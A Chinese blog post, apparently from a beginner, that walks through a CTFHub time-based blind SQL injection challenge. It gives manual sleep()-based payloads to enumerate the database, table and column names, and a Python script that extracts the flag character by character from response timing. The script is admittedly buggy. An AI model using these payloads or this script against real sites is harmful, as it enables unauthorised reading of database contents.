sql时间盲注

时光总嘲笑我的痴心妄想 提交于 2020-03-25 16:38:09

sql时间盲注--ctfhub

测试1 and if(length(database())>1,sleep(5),1)#  确实是5s后才响应了,注入成功

然后接下来的步骤类似于布尔盲注,

继续尝试 这里我猜测数据库名为sqli 结果验证确实(投机取巧 0.0)  不用 1 and if()  直接 if()也可以

1 and if(database()='sqli',sleep(1),1)# 包括后面的思路是对的     (第二个表才是flag

 

1 and if(substr(database(),1,1)='s',sleep(1),1)     ---猜数据库名

1 and if(substr((select table_name from information_schema.tables where table_schema = 'sqli' limit 1,1),1,1) = 'f ', sleep(1),1)      --表名

1 and if(substr((select column_name from information_schema.columns where table_schema = 'sqli' and table_name='flag' limit 0,1),1,1) = 'f ', sleep(1),1)  ---列名

 

验证 确实第2个表和 该表的第一列列名都是flag

以上都是手工测试找了几个位置的数据一下,真正猜测数据库/表/列/字段值 时候最好用python脚本一个个字符进行猜测。

 

python内容如下:

import requests
import sys
import time

session=requests.session()
urlfirst = "http://challenge-22fc24165686525c.sandbox.ctfhub.com:10080/?id="
str_words = 'qwertyuiopasdfghjklzxcvbnm_'    # 数据库/表名中可能有_
str_words_datas = 'qwertyuiopasdfghjklzxcvbnm_{}1234567890'    # 读取字段值 字符范围

def get_database():
    for k in range(1,5):      #已经判断了数据库名长度为4
        for i in str_words:
            #print(i)
            url = urlfirst + 'if(substr(database(),%d,1)="%s",sleep(1),1)'%(k,i)
            start_time=time.time()    
            str_get = session.get(url)   #进行url请求
            end_time = time.time()
            t = end_time - start_time    #计算页面响应时间
 
            dbname=''
            if t > 1:
                dbname += i
                print(dbname,end="")
    print('\n')

def get_table_name():
    for k in range(0,3):     #猜测大概有3个表 
        for j in range(1,10):    #可以先判断表名长度,但可能有好几个表,判断起来比较慢,就大概给了个
                                            #表名长度1-9
            for i in str_words:
                url = urlfirst + "if(substr((select table_name from information_schema.tables 
          where table_schema = 'sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,j,i) 

                start_time=time.time()    
                str_get = session.get(url)   #进行url请求
                end_time = time.time()
                t = end_time - start_time    #计算页面响应时间
 
                tbname=''
                if t > 1:
                    tbname += i
                    print(tbname,end="")
                #还有个错误问题是 如果 第三个表不存在则请求时间过长,需要弃包,怎么写
                # 优化下print显示结果
        print('\n')
    print('\n')

def get_column_name():
    for k in range(0,3):     #猜测大概有3列 
        for j in range(1,10):    #可以先判断列名长度,但一般有很多列,每列都去判断长度比较慢,就大
                                       #概给了个列名长度1-9
            for i in str_words:
                url = urlfirst + "if(substr((select column_name from information_schema.columns
            where table_schema = 'sqli'and table_name='flag' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,j,i) 

                start_time=time.time()    
                str_get = session.get(url)   #进行url请求
                end_time = time.time()
                t = end_time - start_time    #计算页面响应时间
 
                clname=''
                if t > 1:
                    clname += i
                    print(clname,end="")
                #还有个错误问题是 如果 第三个表不存在则请求时间过长,需要弃包,怎么写
                # 优化下print显示结果
        print('\n')
    print('\n')

def get_datas():            #获取字段值
    for k in range(0,3):     #猜测大概有3列数据
        
        for j in range(1,60):    #猜测数据值名长度1-60
            for i in str_words_datas:
                #print(i)
                url = urlfirst + "if(substr((select flag from sqli.flag limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,j,i)
                #遇到其他的题目是 要手动改数据库名/表名/列名 
                start_time=time.time()    
                str_get = session.get(url)   #进行url请求
                end_time = time.time()
                t = end_time - start_time    #计算页面响应时间

                datas=''
                if t > 1:
                    datas += i
                    print(datas)
                    #print(datas,end="")
              
                # 优化下print显示结果
        print('\n')
    print('\n')
            
if __name__ == "__main__":
    #get_table_name()
    #get_column_name()
    get_datas()      


'''
# 1.还有个问题是 通过time判断 可能有时候网络原因导致响应时间大于1,或者程序时间太长,程序出错 结束运行...
#  
# 2.get_datas()  就跑出来一次结果,其他的都有提示一些库错误或者timeout 然后中断  还没去研究为什么...
#
# 3.前面猜测表名列名有时候也会出错,多运行几次是可以的,具体原因还没研究...
#
# 萌新刚刚学习,还没整理好,见谅...
#
'''

 

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!